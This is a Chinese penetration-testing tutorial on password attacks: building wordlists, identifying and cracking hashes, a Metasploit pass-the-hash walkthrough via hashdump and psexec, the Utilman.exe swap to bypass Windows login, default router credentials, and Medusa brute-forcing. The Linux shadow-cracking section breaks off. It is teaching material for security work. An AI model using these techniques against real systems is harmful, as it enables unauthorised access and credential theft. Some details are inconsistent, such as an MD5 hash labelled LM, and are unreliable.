密码攻击

密码攻击

密码是身份验证的重要方式。密码攻击是通过各种技术获取目标用户的密码。密码攻击是所有渗透测试的一个重要部分。因为所有系统里最不安全的环节往往就是用户使用的密码。无论密码策略如何设置,大部分人都不愿意使用复杂的密码。

一、创建字典

这里的字典就是密码字典。如果要实施密码攻击,密码字典是必不可少的。用户可以通过对密码信息收集并分析,创建一个更合理的密码字典。这样做不仅可以提高破解成功率,还能缩短破解的时间。

1.1 密码信息收集

在创建密码字典之前,可以对密码进行收集。例如,搜集目标相关的邮箱、网站博文、推特文章、单位名称、人员名字等信息。因为大部分用户为了方便记忆,会使用最简单的密码,或者使用个人的相关信息(如单位名称、门牌号等)作为密码。此时,如果收集到这些信息,并添加到字典文件中,则能提升破解成功率。

1.2 密码策略分析

密码策略就是系统对用户设置的密码进行各项限制,如不能仅使用数字、不能使用连续的数字和英文字母等。例如,一些软件或系统都会设有对应的密码策略,以提高其安全性。此时,用户通过对这些设备的密码策略进行分析,可以有针对性地创建密码字典。

1.2.1 软件/系统固有策略

固有策略就是指软件/系统本身内置的密码策略。为了安全起见,一些软件/系统都有固定的策略,以避免被轻易破解。如果软件/系统有固有策略,用户在注册账户时,会提醒密码长度、复杂度的最低要求。例如,安装Oracle数据库时,会提醒用户设置的密码是否足够复杂;安装Linux操作系统时,会提示有root用户密码设置要求等。此时,用户通过对软件/系统固有策略进行分析,可以创建对应策略的字典。

1.2.2 加固策略

加固策略是指软件/系统额外的建议标准。例如,在Windows系统中,会使用组策略来加固密码策略,使用户设置更安全的密码。此时,用户则可以使用组策略分析工具,以分析密码策略,然后构建更强大的密码字典。这里介绍如何使用组策略分析工具来分析密码策略。
使用组策略分析密码策略。具体操作步骤如下:

  1. 使用Win+R组合键启动“运行”对话框。

  2. 在“打开”文本框中输入gpedit.msc命令,然后单击“确定”按钮,打开本地组策略编辑器界面,如下图所示。

    图片1

  3. 在左侧栏中依次选择“计算机配置”|“Windows设置”|“安全设置”|“账户策略”|“密码策略”选项,将显示密码策略设置界面,如下图所示。

    图片2

  4. 从该界面可以看到Windows系统密码策略的相关设置,如是否启用了复杂性要求、密码最小长度值、使用的期限,以及是否记住密码历史记录等。

1.2.3 分析已有密码字典策略

用户可以分析目标用户相关人群泄漏的密码,获取同类人群的密码设定策略,然后以此构建一个新的字典。马尔可夫攻击方式(Markov Attack)可以分析已有的密码字典文件,并且统计密码字典每个字符的出现概率、位置分布以及前后关系。然后,结合这些规则,可以使用掩码生成更为有效的密码字典。Kali Linux提供了一个名为Stasprocessor工具,支持Markov Attack技术。

语法格式如下:

1
statsgen [options] passwords.txt

以上语法中,options表示可用的选项;
passwords.txt表示分析的密码字典。

其中,该工具支持的选项及含义如下:

–version:显示版本信息。
-h,–help:显示帮助信息。
-o password.masks,–output=passwords.masks:保存掩码和统计信息到一个文件。
–hiderare:隐藏比例小于1%的统计项。
–minlength=8:过滤密码最小长度为8的密码。
–maxlength=8:过滤密码最大长度为8的密码。
–charset=loweralpha,numeric:指定过滤的密码字符,使用逗号分隔。
–simplemask=stringdigit,allspecial:过滤密掩码格式,使用逗号分隔。

使用statsgen工具分析rockyou.txt密码字典。具体操作步骤如下:

  1. 执行命令如下:

    1
    root@daxueba:~# statsgen rockyou.txt

    执行以上命令后,将开始对指定的密码字典进行分析,并进行统计。其中,输出的信息包括工具的基本统计信息、密码长度、字符集、密码复杂度、简单掩码和高级掩码。其中,第一部分信息是statsgen工具的基本信息,具体如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
                           _ 
    StatsGen 0.0.3 | |
    _ __ __ _ ___| | _
    | '_ \ / _` |/ __| |/ /
    | |_) | (_| | (__| <
    | .__/ \__,_|\___|_|\_\
    | |
    |_| iphelix@thesprawl.org
    [*] Analyzing passwords in [rockyou.txt] #分析的密码
    [+] Analyzing 100% (14344392/14344392) of passwords NOTE: Statistics below is relative to the number of analyzed passwords, not total number of passwords

    从以上输出信息可以看到,statsgen工具的版本信息、分析的密码文件及对密码文件的统计。通过分析输出的信息可以看到,该工具的版本为0.0.3;分析的密码字典为rockyou.txt;该密码字典共包括14344392个密码。

  2. 下面是密码长度统计信息,具体如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    [*] Length:                   #长度
    [+] 8: 20% (2966037)
    [+] 7: 17% (2506272)
    [+] 9: 15% (2191040)
    [+] 10: 14% (2013695)
    [+] 6: 13% (1947798)
    [+] 11: 06% (866035)
    [+] 12: 03% (555350)
    [+] 13: 02% (364174)
    [+] 5: 01% (259169)
    [+] 14: 01% (248527)
    [+] 15: 01% (161213)
    [+] 16: 00% (118406)
    [+] 17: 00% (36884)
    [+] 18: 00% (23769)
    [+] 4: 00% (17899)
    [+] 19: 00% (15567)
    [+] 20: 00% (13069)
    [+] 21: 00% (7850)
    …//省略部分内容//…

    以上信息是对密码字典中的密码长度进行了统计,并按照密码长度所占比例从大到小依次排序。其中,输出的信息分为3列,分别是密码的长度、所占密码总数的比例、密码总数。例如,第一行信息表示密码长度为8,所占密码总数的比例为20%,符合该长度的密码总数为2966037。

  3. 下面是对密码字符集进行的统计:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    [*] Character-set:                              #字符集
    [+] loweralphanum: 42% (6074867) #小写字母a~z和数字0~9的字条集合
    [+] loweralpha: 25% (3726130) #小写字母a~z的字符集合
    [+] numeric: 16% (2346744) #数字0~9的字符集合
    [+] loweralphaspecialnum: 02% (426353) #小写字母、特殊符号和数字的字符集合
    [+] upperalphanum: 02% (407431) #大写字母a~z和数字0~9的字符集合
    [+] mixedalphanum: 02% (382237) #小写字母、大写字母和数字字符集合
    [+] loweralphaspecial: 02% (381623) #小写字母a~z和特殊符号的字符集合
    [+] upperalpha: 01% (229875) #大写字母的字符集合
    [+] mixedalpha: 01% (159310) #小写字母和大写字母的字符集合
    [+] all: 00% (53238) #所有字符集合
    [+] mixedalphaspecial: 00% (49655) #大写字母和特殊符号的字符集合
    [+] specialnum: 00% (46606) #特殊符号的字符集合
    [+] upperalphaspecialnum: 00% (27737) #大写字母、特殊符号和数字的字符集合
    [+] upperalphaspecial: 00% (26813) #大写字母和特殊符号的字符集合
    [+] special: 00% (5773) #特殊符号的字符集合

    从输出的信息可以看到,对密码字典中各种密码字符集进行了分析和统计。

  4. 下面是对密码复杂性的统计:

    1
    2
    3
    4
    5
    [*] Password complexity:                        #密码复杂度
    [+] digit: min(0) max(255) #数字0~9
    [+] lower: min(0) max(255) #小写字母a~z
    [+] upper: min(0) max(187) #大写字母A~Z
    [+] special: min(0) max(255) #特殊符号

    以上是对密码的复杂性进行了统计。输出的信息分为3列,分别表示构成密码可能所拥有的字符、使用这种字符在密码中的最小个数和使用这种字符在密码中的最大个数。

  5. 下面是简单掩码的统计:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    [*] Simple Masks:                               #简单掩码
    [+] stringdigit: 37% (5339556) #字母和数字
    [+] string: 28% (4115315) #字母
    [+] digit: 16% (2346744) #数字
    [+] digitstring: 04% (663951) #数字和字母
    [+] othermask: 04% (576325) #其他类型
    [+] stringdigitstring: 03% (450742) #字母、数字、字母
    [+] stringspecialstring: 01% (204441) #字母、特殊符号、字母
    [+] stringspecialdigit: 01% (167816) #字母、特殊符号、数字
    [+] stringspecial: 01% (148328) #字母和特殊符号
    [+] digitstringdigit: 00% (130517) #数字、字母、数字
    [+] stringdigitspecial: 00% (77378) #字母、数字、特殊符号
    [+] specialstringspecial: 00% (25127) #特殊符号、字母、特殊符号
    [+] digitspecialstring: 00% (16821) #数字、特殊符号、字母
    [+] specialstring: 00% (14496) #特殊符号和字母
    [+] digitstringspecial: 00% (12242) #数字、字母、特殊符号
    [+] digitspecialdigit: 00% (12114) #数字、特殊符号、数字
    [+] digitspecial: 00% (11017) #数字和特殊符号
    [+] specialstringdigit: 00% (9609) #特殊符号、字母和数字
    [+] specialdigitstring: 00% (8328) #特殊符号、数字和字母
    [+] special: 00% (5773) #特殊符号
    [+] specialdigit: 00% (4142) #特殊符号和数字
    [+] specialdigitspecial: 00% (3610) #特殊符号、数字和特殊符号

    以上信息是对密码字符串掩码格式进行了简单统计。例如,stringdigit表示前面是字母,后面是数字;stringdigitstring表示前面是字母、中间是数字、后面是字母。

  6. 下面是密码字符串掩码格式的高级统计:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    [*] Advanced Masks:                             #高级掩码
    [+] ?l?l?l?l?l?l?l?l: 04% (687991)
    [+] ?l?l?l?l?l?l: 04% (601152)
    [+] ?l?l?l?l?l?l?l: 04% (585014)
    [+] ?l?l?l?l?l?l?l?l?l: 03% (516830)
    [+] ?l?l?l?l?l?l?l?d?d: 01% (273624)
    [+] ?l?l?l?l?l?l?l?l?l?l?l: 01% (267733)
    [+] ?l?l?l?l?d?d?d?d: 01% (235360)
    [+] ?l?l?l?l?d?d: 01% (215074)
    [+] ?l?l?l?l?l?l?l?l?d?d: 01% (213109)
    [+] ?l?l?l?l?l?l?d: 01% (193097)
    [+] ?l?l?l?l?l?l?l?d: 01% (189847)
    [+] ?l?l?l?l?l?l?l?l?l?l?l?l: 01% (189355)
    [+] ?l?l?l?d?d?d?d: 01% (178304)
    [+] ?l?l?l?l?l?d?d?d?d: 01% (173559)
    [+] ?l?l?l?l?l?l?d?d?d?d: 01% (160592)
    [+] ?l?l?l?l?l?l?l?l?d: 01% (160054)
    [+] ?l?l?l?l?l?d?d?d: 01% (152400)

    以上信息是对密码字符串进行了高级统计。其中,高级统计就是对密码文件中的密码字符用掩码格式进行了表示。统计后会用到4种掩码格式,每种格式都由一个?(问号)加一个小写字母来表示,表示一个字符集合。这4种掩码格式的表示及含义如下:

    ?l:表示小写字母a~z的字符集合。
    ?u:表示大写字母A~Z的字符集合。
    ?d:表示数字0~9的字符集合。
    ?s:表示特殊符号的字符集合。

    在获取的掩码格式中,一个掩码表示密码中的一位数。例如,?l?l?l?l?d?d?d?d掩码格式表示由4个?l和4个?d组成的一个8位长度的密码。其中,前4位密码由小写字母a~z构成;后4位密码由数字0~9构成。

1.3 生成字典

当用户收集足够的目标用户信息及密码策略后,就可以根据获取的信息来创建密码字典了。下面使用Crunch、rsmangler和rtgen工具生成字典。

1.3.1 使用Crunch工具

Crunch是一种密码字典生成工具。它可以按照指定的规则生成密码字典,用户可以灵活地定制自己的密码字典文件。

使用Crunch工具生成字典的语法格式如下:

1
crunch <min> <max> [<charset string>][options]

以上语法中,参数<min>表示生成密码的最小长度;<max>表示生成密码的最大长度;<charset string>表示指定的字符集;[options]表示有效的选项。其中,常用的选项及含义如下:

-o:指定生成的密码字典文件名;
-b number[type]:指定写入文件最大的字节数。该大小可以指定KB、MB或GB,但是必须与-o START选项一起使用;
-t:设置使用的特殊格式;
-l:该选项用于当-t选项指定@、%或^时,识别占位符的一些字符。

Crunch工具默认提供的字符集保存在/usr/share/crunch/charset.lst文件中。此时,用户可以直接使用这些字符集来生成对应的密码字典。用户可以使用cat命令查看所有的字符集。

使用Crunch工具生成一个最小长度为8、最大长度为10的密码字典文件,并保存到/root/crunch.txt文件。其中,使用的字符集hex-lower,即0123456789abcdef。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
# crunch 8 10 hex-lower -o /root/crunch.txt                                                     2 ⨯
Crunch will now generate the following amount of data: 13304332288 bytes
12688 MB
12 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1224736768

crunch: 2% completed generating output

crunch: 5% completed generating output

从输出的信息可以看到,将生成一个大小为12GB的字典,共有1224736768个密码。而且,以百分比的形式显示了生成的密码进度。

1.3.2 使用rsmangler工具

rsmangler是一个基于单词列表关键词生成字典的工具。使用该工具可以基于用户收集的信息,并利用常见密码构建规则来构建字典。

rsmangler工具的语法格式如下:

rsmangler -f wordlist.txt -o new_passwords.txt

以上语法中的选项及含义如下:

-f,–file:指定输入文件,即用户收集到的密码单词。
-o,–output:指定生成的字典文件名称。

使用rsmangler工具生成字典。具体操作步骤如下:

  1. 创建一个文件,用来保存收集的密码单词。这里将创建一个名为test的文件,简单保存两个单词用来生成新的字典。如下:

    1
    2
    3
    # vi test
    root
    password
  2. 使用rsmangler工具生成字典,并保存到pass.txt中。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # cat pass.txt
    root
    password
    rootpassword
    passwordroot
    rp
    rootroot
    toor
    Root
    ROOT
    rooted
    rooting
    pwroot
    rootpw
    pwdroot
    rootpwd
    adminroot
    rootadmin
    sysroot
    rootsys
    r007
    …//省略部分内容//…

    从输出的信息可以看到生成的密码字典。由于篇幅所限,只列出了部分密码。

1.3.3 使用rtgen工具

rtgen工具用来生成彩虹表。彩虹表是一个庞大的针对各种可能的字母组合和预先计算好的哈希值的集合。其中,生成的彩虹表包括多种算法,如LM、NTLM、MD5、SHA1和SHA256。然后,使用该彩虹表可以快速地破解各类密码。

语法格式如下:

rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len chain_num part_index

或者:

rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index -bench

以上语法中的参数含义如下:

hash_algorithm:指定使用的哈希算法。其中,可指定的值包括lm、ntlm、md5、sha1和sha256。
charset:指定字符集。

其中,rtgen工具默认提供的字符集文件为/usr/share/rainbowcrack/charset.txt,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# cat /usr/share/rainbowcrack/charset.txt

numeric = [0123456789]

alpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]

loweralpha = [abcdefghijklmnopqrstuvwxyz]
loweralpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789]

mixalpha = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
mixalpha-numeric = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]

ascii-32-95 = [ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~]
ascii-32-65-123-4 = [ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`{|}~]
alpha-numeric-symbol32-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]

以上输出信息显示rtgen工具默认提供的所有字符集。

plaintext_len_min:指定生成的密码最小长度;
plaintext_len_max:指定生成的密码最大长度;
table_index:指定表单数量;
chain_len:指定链长度;
chain_num:指定链个数;
part_index:指定块数量。

使用rtgen工具生成一个基于MD5的彩虹表。其中,指定密码的最小长度为4,最大长度为8。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# rtgen md5 loweralpha 4 8 0 1000 1000 0
rainbow table md5_loweralpha#4-8_0_1000x1000_0.rt parameters
hash algorithm: md5
hash length: 16
charset name: loweralpha
charset data: abcdefghijklmnopqrstuvwxyz
charset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a
charset length: 26
plaintext length range: 4 - 8
reduce offset: 0x00000000
plaintext total: 217180128880

sequential starting point begin from 0 (0x0000000000000000)
generating...
1000 of 1000 rainbow chains generated (0 m 0.1 s)

看到以上输出的信息,表示成功生成了一个基于MD5的彩虹表,文件名为md5_loweralpha#4-8_0_1000x1000_0.rt。其中,该彩虹表默认保存在/usr/share/rainbowcrack目录中:

1
2
3
4
5
6
# cd /usr/share/rainbowcrack

┌──(root💀docker-ptf)-[/usr/share/rainbowcrack]
└─# ls
alglib0.so md5_loweralpha#4-8_0_1000x1000_0.rt readme.txt rtc2rt rtmerge
charset.txt rcrack rt2rtc rtgen rtsort

从输出的信息可以看到,生成的彩虹表文件为md5_loweralpha#4-8_0_1000x1000_0.rt。为了更方便使用生成的彩虹表,可以使用rtsort命令对其进行排序。执行命令如下:

1
# rtsort md5_loweralpha\#4-8_0_1000x1000_0.rt

执行以上命令后,将不会输出任何信息。接下来,就可以使用该彩虹表实施密码破解了。

二、破解哈希密码

为了避免信息泄漏造成的危害,在实际应用中,软件和系统会将密码进行加密,然后进行保存。常见的加密方式是各种哈希算法。这类算法可以将不同长度的密码加密成固定长度的字符串。由于加密后的字符串位定长,并且不能被直接逆向破解,所以安全度非常高,也因此被广泛应用。

2.1 识别哈希加密方式

哈希加密是一类算法,包含很多种具体的算法。渗透测试者在破解一个哈希密码时,如果确定该哈希密码的加密方式,就可以选择针对性的工具和方式实施破解了,可以节约大量的时间,从而提高破解效率。下面介绍使用hashid工具识别哈希加密方式的方法。

2.1.1 hashid工具

识别哈希密码值6bcec2ba2597f089189735afeaa300d4的加密方式。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# hashid 6bcec2ba2597f089189735afeaa300d4
Analyzing '6bcec2ba2597f089189735afeaa300d4'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x

以上输出信息显示了可能使用的哈希密码方式。其中,显示在前面的哈希类型方式可能性更大。由此可以猜测出,该密码的哈希类型为MD2或MD5。

2.1.1 hash-identifier工具

识别哈希密码值6bcec2ba2597f089189735afeaa300d4的加密方式。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# hhhash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: e10adc3949ba59abbe56e057f20f883e

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(Wordpress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------
HASH:

以上输出信息显示该密码的哈希类型为MD5。

2.2 破解LM Hashes密码

LM(LAN Manager)Hash是Windows操作系统最早使用的密码哈希算法之一。下面将介绍使用findmyhash工具破解LM Hashes密码的方法。

使用findmyhash工具破解密码的语法格式如下:

findmyhashOPTIONS

以上语法中,参数algorithm表示指定破解的密码算法类型,支持的算法有MD4、MD5、SHA1、SHA224、SHA256、SHA384、SHA512、RMD160、GOST、WHIRLPOOL、LM、NTLM、MYSQL、CISCO7、JUNIPER、LDAP_MD5和LDAp_SHA1。OPTIONS表示可用的选项。其中,常用的选项及含义如下:

-h:指定破解的哈希值。
-f:指定破解的哈希文件列表。
-g:如果不能破解哈希密码,将使用Google搜索并显示结果。其中,该选项只能和-h选项一起使用。

使用findmyhash工具破解LM哈希密码5f4dcc3b5aa765d61d8327deb882cf99的原始密码。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# findmyhash MD5 -h 5f4dcc3b5aa765d61d8327deb882cf99
Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99
Analyzing with md5hood (http://md5hood.com)...
... hash not found in md5hood
Analyzing with stringfunction (http://www.stringfunction.com)...
... hash not found in stringfunction
Analyzing with 99k.org (http://xanadrel.99k.org)...
... hash not found in 99k.org
Analyzing with sans (http://isc.sans.edu)...
... hash not found in sans
Analyzing with bokehman (http://bokehman.com)...
... hash not found in bokehman
Analyzing with goog.li (http://goog.li)...
... hash not found in goog.li
…//省略部分内容//…
Analyzing with rednoize (http://md5.rednoize.com)...
... hash not found in rednoize
Analyzing with md5-db (http://md5-db.de)...
... hash not found in md5-db
Analyzing with my-addr (http://md5.my-addr.com)...
***** HASH CRACKED!! *****
The original string is: password
The following hashes were cracked: #破解成功
----------------------------------
5f4dcc3b5aa765d61d8327deb882cf99 -> password

从以上输出信息可以看到,成功破解了LM哈希密码5f4dcc3b5aa765d61d8327deb882cf99的原始密码,原始密码为password。

2.3 直接使用哈希密码值

当用户无法破解哈希密码时,利用特定的漏洞可以直接使用哈希密码,而无须破解。在Metasploit框架中,可以通过使用exploit/windows/smb/psexec渗透测试模块,来直接使用哈希密码,绕过密码验证。

通过使用exploit/windows/smb/psexec渗透测试模块,来直接利用哈希密码。具体操作步骤如下:

  1. 在Meterpreter会话中使用hashdump命令获取哈希密码:

    1
    2
    3
    meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:b3255351d8dfe7cdedf3f552a49146d6:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  2. 后台运行Meterpreter会话,并切换到模块配置界面。执行命令如下:

    1
    2
    meterpreter > background 
    [*] Backgrounding session 1...
  3. 选择exploit/windows/smb/psexec模块,并查看模块配置选项。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    msf6 exploit(multi/handler) > use exploit/windows/smb/psexec
    msf6 exploit(windows/smb/psexec) > show options
    Module options (exploit/windows/smb/psexec):
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target address range or CIDR identifier
    RPORT 445 yes The SMB service port (TCP)
    SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
    SERVICE_DISPLAY_NAME no The service display name
    SERVICE_NAME no The service name
    SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
    SMBDomain . no The Windows domain to use for authentication
    SMBPass no The password for the specified username
    SMBUser no The username to authenticate as
    Exploit target:
    Id Name
    -- ----
    0 Automatic
  4. 配置选项参数。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.197.129   #设置远程主机地址
    RHOSTS => 192.168.197.129
    msf6 exploit(windows/smb/psexec) > set SMBUser administrator #设置SMB用户
    SMBUser => administrator
    msf6 exploit(windows/smb/psexec) > set SMBUser Administrator
    SMBUser => Administrator
    msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:b3255351d8dfe7cdedf3f552a49146d6 #设置SMB密码
    SMBPass => aad3b435b51404eeaad3b435b51404ee:b3255351d8dfe7cdedf3f552a49146d6
  5. 实施渗透,直接使用哈希密码值。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    msf6 exploit(windows/smb/psexec) > exploit

    [*] Started reverse TCP handler on 192.168.197.128:4444
    [*] 192.168.197.129:445 - Connecting to the server...
    [*] 192.168.197.129:445 - Authenticating to 192.168.197.129:445 as user 'Administrator'...
    [*] 192.168.197.129:445 - Selecting PowerShell target
    [*] 192.168.197.129:445 - Executing the payload...
    [+] 192.168.197.129:445 - Service start timed out, OK if running a command or non-service executable...
    [*] Sending stage (175174 bytes) to 192.168.197.129
    [*] Meterpreter session 2 opened (192.168.197.128:4444 -> 192.168.197.129:49170) at 2021-01-05 12:45:48 -0500

    meterpreter >

    从输出的信息中可以看到,使用bob用户成功地打开了一个会话。

三、借助Utilman绕过Windows登录

Utilman是Windows辅助工具管理器。在Windows下,即使没有进行用户登录,也可以使用Windows+U组合键调用Utilman进程。借助该机制,可以绕过Windows登录验证机制,对系统进行操作。

通过将Utilman.exe文件替换成cmd.exe,绕过登录进行操作。具体操作步骤如下:

  1. 在Windows系统的计算机上,使用U盘安装介质的方式进入Kali Linux的Live模式。首先启动U盘安装介质,将显示系统安装引导界面,如下图所示。

    图片3

  2. 在该界面选择Live(amd64),即可进入Live模式。然后,在该Live模式中打开Windows文件系统。如图下图所示,在该界面依次选择Places|Computer选项。

    图片4

  3. 在该界面单击Computer选项后,将打开本地计算机文件系统,如下图所示。

    图片5

  4. 该界面显示了Linux Live系统的文件列表。此时,在左侧栏中选择Other Locations命令,即可看到其他硬盘文件,如下图所示。

    图片6

  5. 该界面显示了该计算机中的所有磁盘分区。根据显示的分区大小,找到Windows系统的分区。在本例中,Windows系统的分区为322GB Volume。所以,打开该硬盘分区,将显示Windows系统的文件列表,如下图所示。

    图片7

  6. 在该界面依次进入Windows|System32文件夹,将显示如下图所示的内容。

    图片8

  7. 在该文件夹中找到Utilman.exe文件,将该文件重命名为Utilman.old。然后复制该目录下的cmd.exe文件作为副本,并将其文件名修改为Utilman.exe。接下来,关闭Kali Linux Live模式,并启动Windows系统。在登录界面按Wins+U组合键,将显示如下图所示的界面。

    图片9

  8. 从该界面可以看到,打开了一个命令提示符窗口。在该窗口中,可以执行各种终端命令。例如,使用whoami命令查看用户信息,如下图所示。

    图片10

  9. 从输出的信息可以看到,当前用户拥有最高的权限。此时,可以进行任何的操作。

四、路由器密码破解

路由器是一个网络的核心设备。一旦控制路由器,就很容易对连接该路由器的主机实施各种数据嗅探和欺骗攻击。大部分路由器都是使用用户名/密码的身份验证方式。而每个路由器的管理界面都有初始用户名和密码。由于一些管理员用户的失误,可能会使用初始密码或者弱密码。

4.1 路由器初始密码

大部分路由器都有初始用户名和密码。为了方便用户实施路由器密码破解,下面列出常见的路由器初始用户名和密码,如下表所示。

用户名密码
adminadmin
rootroot
useruser
userpassword
adsladsl1234
adminpassword
adminconexant
passwordpassword
admin123456
adminutstar
adminprivate
adminepicrouter
SZIMSZIM

4.2 使用Medusa工具

Medusa是一款开源的暴力密码破解工具,可以在线破解多种密码,如FTP、HTTP、IMAP和MYSQL等。其中,路由器的管理界面是基于HTTP协议的,所以用户可以使用Medusa工具实施密码破解。下面将介绍使用Medusa工具暴破路由器密码的方法。
使用Medusa工具暴力破解路由器密码的语法格式如下:

medusa -h [IP] -U [user file] -P [pass file] -M http -e ns

以上语法中的选项及含义如下:

-h:指定目标主机的地址。
-u:指定尝试破解的用户名。
-U:指定使用的用户名文件。
-p:指定尝试破解的密码。
-P:指定使用的密码文件。
-M:指定要破解的模块类型。
-e:尝试空密码。

暴力破解TP-Linux路由器的登录用户名和密码。执行命令如下:

1
2
3
4
5
6
7
8
9
# medusa -h 192.168.1.1 -u admin -P passords.txt -M http -e ns
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
<jmk@foofus.net>
ACCOUNT CHECK: [http] Host: 192.168.1.1 (1 of 1, 0 complete) User: admin
(1 of 1, 0 complete) Password: (1 of 3108 complete)
ACCOUNT CHECK: [http] Host: 192.168.1.1 (1 of 1, 0 complete) User: admin
(1 of 1, 0 complete) Password: admin (2 of 3108 complete)
ACCOUNT FOUND: [http] Host: 192.168.1.1 User: admin Password: abc.123456
[SUCCESS]

以上输出的信息显示了破解路由器密码的过程。从显示的结果中可以看到,成功破解了路由器的用户名和密码。其中,用户名为admin,密码为abc.123456。

五、破解Linux用户密码

在Linux中,很多操作都需要根用户root才可以执行。如果获取一个Linux远程会话的用户没有权限,又无法提权,则该会话也就没有用了。此时,用户可以对Linux系统用户密码实施破解,进而登录目标系统。下面将介绍破解Linux用户密码的方法。

Linux系统将加密的密码散列保存在名为shadow的文件里,该文件默认保存在/etc/shadow中。只要将该文件破解,就可以查看到用户的原始密码。但是在破解/etc/shadow密码之前,还需要/etc/passwd文件。该文件中保存了用户的基本信息,如用户名称、宿主目录和登录Shell等。破解Linux用户密码就是通过提取/etc/shadow和/etc/passwd文件,将它们结合在一起,然后使用密码破解工具进行破解。

破解Linux用户密码。具体操作步骤如下:

